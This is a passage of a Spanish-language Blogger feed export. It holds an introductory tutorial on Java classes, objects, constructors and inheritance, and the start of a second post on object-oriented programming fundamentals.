cliente) o una entidad abstracta (un número, una fecha, una ecuación matemática).&lt;/li&gt;&lt;li&gt;Todos los objetos son instancias de una clase: Los objetos se crean por instanciación de las clases.&lt;/li&gt;&lt;li&gt;Todos los objetos de una misma clase (p.ej. coches) comparten ciertas características: sus atributos (tamaño, peso, color, potencia del motor...) y el comportamiento que exhiben (aceleran, frenan, curvan...).&lt;/li&gt;&lt;/ul&gt;Todo objeto tiene...&lt;br /&gt;- Identidad (puede distinguirse de otros objetos)&lt;br /&gt;- Estado (datos asociados a él)&lt;br /&gt;- Comportamiento (puede hacer cosas)&lt;br /&gt;&lt;br /&gt;Las diferentes instancias de cada clase difieren entre sí por los valores de los datos que encapsulan (sus atributos).&lt;br /&gt;Dos objetos con los mismos valores en sus atributos pueden ser diferentes.&lt;br /&gt;TODOS los objetos de una misma clase usan el mismo algoritmo como respuesta a mensajes similares.&lt;br /&gt;El algoritmo empleado como respuesta a un mensaje (esto es, el método invocado) viene determinado por la clase del receptor.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Clase&lt;/span&gt;&lt;br /&gt;Una clase es una descripción de un conjunto de objetos similares.&lt;br /&gt;Al programar, definimos una clase para especificar cómo se comportan y mantienen su estado los objetos de esa clase.&lt;br /&gt;A partir de la definición de la clase, se crean tantos objetos de esa clase como nos haga falta&lt;br /&gt;&lt;br /&gt;Cada clase en Java:&lt;br /&gt;• Se define en un fichero independiente con extensión .java.&lt;br /&gt;• Se carga en memoria cuando se necesita.&lt;br /&gt;&lt;br /&gt;La máquina virtual Java determina en cada momento las clases necesarias para la aplicación y las carga en memoria.&lt;br /&gt;&lt;br /&gt;El programa puede ampliarse dinámicamente (sin tener que recompilar):&lt;br /&gt;&lt;br /&gt;La aplicación no es un bloque monolítico de código.&lt;br /&gt;Para definir una clase en Java se utiliza la palabra reservada class, seguida del nombre de la clase (un identificador):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    public class MiClase&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;    {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;      ...&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTA:&lt;/span&gt; Es necesario que indiquemos el modificador de acceso public para que podamos usar nuestra clase “desde el exterior”.&lt;br /&gt;&lt;br /&gt;El nombre de una clase debe ser un identificador válido en Java.&lt;br /&gt;Por convención, los identificadores que se les asignan a las clases en Java comienzan con mayúscula.&lt;br /&gt;En Java, las clases públicas deben estar definidas en ficheros con extensión .java cuyo nombre coincida exactamente con el identificador asignado a la clase.&lt;br /&gt;&lt;br /&gt;Errores comunes&lt;br /&gt;Cuando el nombre de la clase no coincide con el nombre del fichero, el compilador nos da el siguiente error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;        Public class MiClase must be defined in a file called MiClase.java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;donde &lt;span style="font-weight: bold;"&gt;MiClase&lt;/span&gt; es el nombre de nuestra clase.&lt;br /&gt;Las llaves siempre deben ir en parejas: Si falta la llave de cierre } el compilador da un error:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;     ‘}’ expected&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   Lo mismo ocurre si se nos olvida abrir la llave ({):&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;        ‘{’ expected&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Encapsulación de datos (variables) y operaciones (métodos)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;        Objeto = Identidad + Estado + Comportamiento&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Identidad&lt;/span&gt;&lt;br /&gt;La identidad de un objeto lo identifica unívocamente:&lt;br /&gt;- Es independiente de su estado.&lt;br /&gt;- No cambia durante la vida del objeto.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Estado&lt;/span&gt;&lt;br /&gt;El estado de un objeto viene dado por los valores de sus atributos.&lt;br /&gt;- Cada atributo toma un valor en un dominio concreto.&lt;br /&gt;- El estado de un objeto evoluciona con el tiempo&lt;br /&gt;- Los atributos de un objeto no deberían ser manipulables&lt;br /&gt;directamente por el resto de objetos del sistema (ocultamiento de&lt;br /&gt;información):&lt;br /&gt;   o Se protegen los datos de accesos indebidos.&lt;br /&gt;   o Se distingue entre interfaz e implementación.&lt;br /&gt;   o Se facilita el mantenimiento del sistema.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Interfaz vs. implementación&lt;/span&gt;&lt;br /&gt;Los objetos se comunican a través de interfaces bien definidas sin tener que conocer los detalles internos de implementación de los demás objetos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo:&lt;/span&gt; Un coche se puede conducir...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Sin saber exactamente de qué partes consta el motor ni cómo funciona éste (implementación).&lt;/li&gt;&lt;li&gt;Basta con saber manejar el volante, el acelerador y el freno (interfaz).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comportamiento de Objetos&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;Los métodos que definen el comportamiento de un objeto:&lt;br /&gt;- Agrupan las competencias del objeto (responsabilidades)&lt;br /&gt;- Describen sus acciones y reacciones.&lt;br /&gt;&lt;br /&gt;Las acciones realizadas por un objeto son consecuencia directa de un estímulo externo (un mensaje enviado desde otro objeto) y dependen del estado del objeto.&lt;br /&gt;El interfaz de un objeto ha de establecer un contrato, un conjunto de condiciones precisas que gobiernan las relaciones entre una clase proveedora y sus clientes (diseño por contrato).&lt;br /&gt;&lt;br /&gt;Estado y comportamiento están relacionados.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo&lt;/span&gt;&lt;br /&gt;Un avión no puede aterrizar (acción) si no está en vuelo (estado)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Representacion Grafica de Una Clase&lt;/span&gt;&lt;br /&gt;Una clase se representa con un rectángulo dividido en tres partes:&lt;br /&gt;- El nombre de la clase (identifica la clase de forma unívoca)&lt;br /&gt;- Sus atributos (datos asociados a los objetos de la clase)&lt;br /&gt;- Sus operaciones (comportamiento de los objetos de esa clase)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;IMPORTANTE:&lt;/span&gt; Las clases se deben identificar con un nombre que, por lo general, pertenecerá al vocabulario utilizado habitualmente al hablar del problema que tratamos de resolver.&lt;br /&gt;Declaración en Java de una clase.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    public class Cuenta&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;     ...&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;   }&lt;/span&gt;&lt;br /&gt;Representación de una clase con sus atributos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;   &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;public class Cuenta&lt;br /&gt;{&lt;br /&gt;private double balance;        // Saldo&lt;br /&gt;private double limit;       // Límite&lt;br /&gt;...&lt;br /&gt;}&lt;br /&gt;public class Cuenta&lt;br /&gt;{&lt;br /&gt;private double balance = 0;&lt;br /&gt;private double limit;&lt;br /&gt;...&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;NOTA:&lt;/span&gt; Aquí hemos decidido utilizar el tipo primitivo double para representar cantidades de dinero. En un programa en el que no se pudiesen permitir errores de redondeo en los cálculos, deberíamos utilizar otro tipo más adecuado (por ejemplo, BigDecimal).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Representación de las operaciones de una clase:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFk6ay78qPI/AAAAAAAAAG4/OxQWqB9VYgM/s1600-h/clase_cuenta.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFk6ay78qPI/AAAAAAAAAG4/OxQWqB9VYgM/s320/clase_cuenta.png" alt="" id="BLOGGER_PHOTO_ID_5213262275682281714" border="0" /&gt;&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;public class Cuenta&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  private double balance = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  private double limit;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void ingresar (...) ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void retirar (...) ...&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los métodos implementan en Java las operaciones características de los objetos de una clase concreta.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;   public class Cuenta&lt;br /&gt;{&lt;br /&gt; private double balance = 0;&lt;br /&gt; private double limit;&lt;br /&gt; public void ingresar (double cantidad)&lt;br /&gt; {&lt;br /&gt;    balance = balance + cantidad;&lt;br /&gt;  }&lt;br /&gt; public void retirar (double cantidad)&lt;br /&gt; {&lt;br /&gt;    balance = balance – cantidad;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Representación gráfica en UML:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFk6xbkoeWI/AAAAAAAAAHA/tmpT_7j0A1o/s1600-h/repUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFk6xbkoeWI/AAAAAAAAAHA/tmpT_7j0A1o/s320/repUML.png" alt="" id="BLOGGER_PHOTO_ID_5213262664547465570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Definición en Java:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fichero Motocicleta.java&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class Motocicleta&lt;br /&gt;{&lt;br /&gt; // Atributos (variables de instancia)&lt;br /&gt; private String matricula;           // Placa de matrícula&lt;br /&gt; private String color;               // Color de la pintura&lt;br /&gt; private int velocidad;              // Velocidad actual (km/h)&lt;br /&gt; private boolean en_marcha;          // ¿moto arrancada?&lt;br /&gt;// Operaciones (métodos)&lt;br /&gt; public void arrancar ()&lt;br /&gt; { ... }&lt;br /&gt; public void acelerar ()&lt;br /&gt; { ... }&lt;br /&gt; public void frenar ()&lt;br /&gt; { ... }&lt;br /&gt; public void girar (float angulo)&lt;br /&gt; { ... }&lt;br /&gt;}&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Uso de Objetos&lt;/span&gt;&lt;br /&gt;El operador . (punto) en Java nos permite acceder a los distintos metodos de una clase:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;                  objeto.metodo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cuando tenemos un objeto de un tipo determinado y queremos acceder a uno de sus metodos sólo tenemos que poner el identificador asociado al objeto (esto es, el identificador de una de las variables de nuestro programa) seguido por un punto y por el identificador que hace referencia a un metodo concreto de la clase a la que pertenece el objeto.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cómo se comprueba el estado de un objeto?&lt;/span&gt;&lt;br /&gt;Accediendo a las variables de instancia del objeto&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;                  objeto.atributo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ejemplo, cuenta.balance nos permitiría acceder al valor numérico correspondiente al saldo de una cuenta, siempre y cuando cuenta fuese una instancia de la clase Cuenta.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Cómo se le envía un mensaje a un objeto?&lt;/span&gt;&lt;br /&gt;Invocando a uno de sus métodos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;          objeto.método(lista de parámetros)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;La llamada al método hace que el objeto realice la tarea especificada en la implementación del método, tal como esté definida en la definición de la clase a la que pertenece el objeto.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;cuenta.ingresar(150.00);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si cuenta es el identificador asociado a una variable de tipo Cuenta, se invoca al método ingresar definido en la clase Cuenta para depositar una cantidad de dinero en la cuenta.&lt;br /&gt;La implementación del método ingresar se encarga de actualizar el saldo de la cuenta, sin que nosotros nos tengamos que preocupar de cómo se realiza esta operación.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Creacion de Objetos&lt;/span&gt;&lt;br /&gt;Antes de poder usar un objeto hemos de crearlo...&lt;br /&gt;&lt;br /&gt;El operador new nos permite crear objetos en Java.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    Tipo identificador = new Tipo();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si escribimos un programa como el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    public class Ingreso&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;    {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;    &lt;br /&gt;   public static void main (String args[])&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;      {&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;      &lt;br /&gt;       Cuenta cuenta;                     // Error&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;        cuenta.ingresar(100.00);&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;    &lt;br /&gt;   }&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;  &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; El compilador nos da el siguiente error:&lt;br /&gt;  Ingreso.java:7:&lt;br /&gt;  variable cuenta might not have been initialized&lt;br /&gt;      cuenta.ingresar(100.00);&lt;br /&gt;      ^&lt;br /&gt;Hemos declarado una variable que, inicialmente, no tiene ningún valor.&lt;br /&gt;Antes de utilizarla, deberíamos haberla inicializado (con un objeto del tipo adecuado):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    Cuenta cuenta = new Cuenta();&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Constructores&lt;/span&gt;&lt;br /&gt;Cuando utilizamos el operador new acompañado del nombre de una clase, se crea un objeto del tipo especificado (una instancia de la clase cuyo nombre aparece al lado de new).&lt;br /&gt;Al crear un objeto de una clase concreta, se invoca a un método especial de esa clase, denominado constructor, que es el que se encarga de inicializar el estado del objeto.&lt;br /&gt;&lt;br /&gt;Constructor por defecto&lt;br /&gt;Por defecto, Java crea automáticamente un constructor sin parámetros para cualquier clase que definamos.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class Cuenta&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;     // Constante&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;     public static final double LIMITE_NORMAL = 300.00;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;   // Variables de instancia&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;   private double balance = 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;     private double limit = LIMITE_NORMAL;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;   // Métodos&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;  ...&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Al crear un objeto de tipo Cuenta con &lt;span style="font-weight: bold;"&gt;new Cuenta()&lt;/span&gt;, se llama al constructor por defecto de la clase Cuenta, con lo cual se crea un objeto de tipo Cuenta cuyo estado inicial será el indicado en la inicialización de las variables de instancia balance y limit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;             &lt;span style="font-weight: bold;"&gt; PrimerPrograma.java&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/**&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;* Este programa en Java imprime un saludo por pantalla.&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;*/&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;import java.*;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;/* La clase principal se denomina PrimerPrograma */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class PrimerPrograma&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;{&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;  public static void main(String args[ ]){&lt;br /&gt;&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;     System.out.println("Hola Mundo ");&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;  }&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Herencia&lt;/span&gt;&lt;br /&gt;Supongamos que tenemos una clase que nos define una persona.&lt;br /&gt;Queremos las clases Alumno y Profesor.&lt;br /&gt;Ambos son personas y seria perfecto no tener que volver a escribir (y pensar) todas las variables y funciones que ya hay en la clase Persona.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFk8GRYSKrI/AAAAAAAAAHI/wElLLGUaIuA/s1600-h/herenciaPersona.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFk8GRYSKrI/AAAAAAAAAHI/wElLLGUaIuA/s320/herenciaPersona.png" alt="" id="BLOGGER_PHOTO_ID_5213264122100198066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo de Herencia&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class Persona {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  protected  int dni;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  protected  String nombre;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  protected  String direccion;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  protected  int telefono;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public int obtenerDni() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    return dni;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void modificarDni(int dni) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    this.dni=dni;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void mostrarPorPantalla() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    System.out.println("DNI: "+dni);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    System.out.println("Nombre: "+nombre);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    System.out.println("Direccion: "+direccion);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    System.out.println("Telefono: "+telefono);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;public class Alumno extends Persona {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  protected int[ ] notas;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void nuevaNota(int nota) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    // Añade una nueva nota&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void listadoNotas() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    System.out.println("Notas:");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    for(int i=0;i&lt;notas.length;i++)&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;      System.out.println(notas[i]);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  public void mostrarPorPantalla() {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    super.mostrarPorPantalla();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    listadoNotas();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/notas.length;i++)&gt;&lt;/span&gt;&lt;ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;li&gt;Java sólo tiene herencia simple. Esto es, una clase sólo puede heredar de una clase.&lt;/li&gt;&lt;li&gt;Además, si una clase no hacemos que herede de alguna otra clase, Java automáticamente hace que herede de la clase Object.&lt;/li&gt;&lt;/span&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Bueno, eso seria por hoy.&lt;br /&gt;&lt;br /&gt;Saludos y Suerte !!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-2680172825812520074?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/2680172825812520074/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=2680172825812520074' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2680172825812520074'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/2680172825812520074'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/06/clases-y-objetos.html' title='Clases y Objetos'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_-ixaLQDJLhI/SFk6ay78qPI/AAAAAAAAAG4/OxQWqB9VYgM/s72-c/clase_cuenta.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3649493157984635147</id><published>2008-06-11T16:54:00.030-04:00</published><updated>2008-06-12T09:33:23.223-04:00</updated><title type='text'>Fundamentos de la Programación Orientada a Objetos</title><content type='html'>Hola, en este articulo explicare los fundamentos de la programación orientada a objetos. mas adelante seguire profundizando este tema.&lt;br /&gt;&lt;br /&gt;Comenzamos,&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Agenda&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;   Introducción a la Programación Orientada por Objetos&lt;br /&gt;Conceptos básicos&lt;br /&gt;Abstracción&lt;br /&gt;Herencia&lt;br /&gt;Relaciones entre clases&lt;br /&gt;Polimorfismo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Introducción a la Programación Orientada por Objetos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En la siguiente imagen vemos la evolución de los lenguajes de programación orientados a objetos, esto no es nuevo, sin embargop es hoy en día que este concepto o tecnología esta acaparando los desarrollos de software debido a la gran aceptacion, implementacion y popularidad que ha tenido Java en este ambito.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA_eTr2NxI/AAAAAAAAAFI/4MqHa2hyedI/s1600-h/evolucion_lengOO.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SFA_eTr2NxI/AAAAAAAAAFI/4MqHa2hyedI/s320/evolucion_lengOO.png" alt="" id="BLOGGER_PHOTO_ID_5210734558780471058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Conceptos básicos&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;OO provee objetos como el principal medio para abstraer y estructurar un sistema.&lt;/li&gt;&lt;li&gt;Un objeto puede modelar entidades del mundo real,puede capturar abstracciones de fenómenos complejos, puede representar artefactos de software (pilas, gráficos,...).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;div style="text-align: center; font-weight: bold;"&gt;El contexto del problema se ve como&lt;br /&gt;objetos que interactúan entre ellos&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBAgZ6_PBI/AAAAAAAAAFQ/KMt4qL6hnsQ/s1600-h/interacciondeobjetos.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SFBAgZ6_PBI/AAAAAAAAAFQ/KMt4qL6hnsQ/s320/interacciondeobjetos.png" alt="" id="BLOGGER_PHOTO_ID_5210735694325955602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ejemplo&lt;/span&gt;: Enviar Flores&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Suponga que Juan desea llevarle flores a una amiga en otra ciudad, María.&lt;/li&gt;&lt;li&gt;Como Juan no puede llevarlas personalmente, le encarga a su florista preferida (Rosa) el envío.&lt;/li&gt;&lt;li&gt;María recibe sus flores&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;A continuación descomponemos el problema en la secuencia de los pasos para cumplir con el requerimiento.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Juan le solicita a Rosa un servicio&lt;/li&gt;&lt;li&gt;  Rosa sabe cómo prestarle el servicio a Juan&lt;/li&gt;&lt;li&gt;  Juan sabe que Rosa presta el servicio que el necesita&lt;/li&gt;&lt;li&gt;  Rosa es responsable de prestarle el servicio adecuadamente a Juan&lt;/li&gt;&lt;li&gt;  Juan desconoce qué le implica a Rosa prestarle el servicio&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;La imagen siguiente seria un diagrama conceptual, solamente para no entrar en mas detalle con los casos de uso, ya que ese tema lo hemos visto en otros articulos, y este trata de fundamentos de OO.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFBCUxcTfUI/AAAAAAAAAFY/3wd0sjqbugg/s1600-h/conceptualUML.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SFBCUxcTfUI/AAAAAAAAAFY/3wd0sjqbugg/s320/conceptualUML.png" alt="" id="BLOGGER_PHOTO_ID_5210737693504535874" border="0" 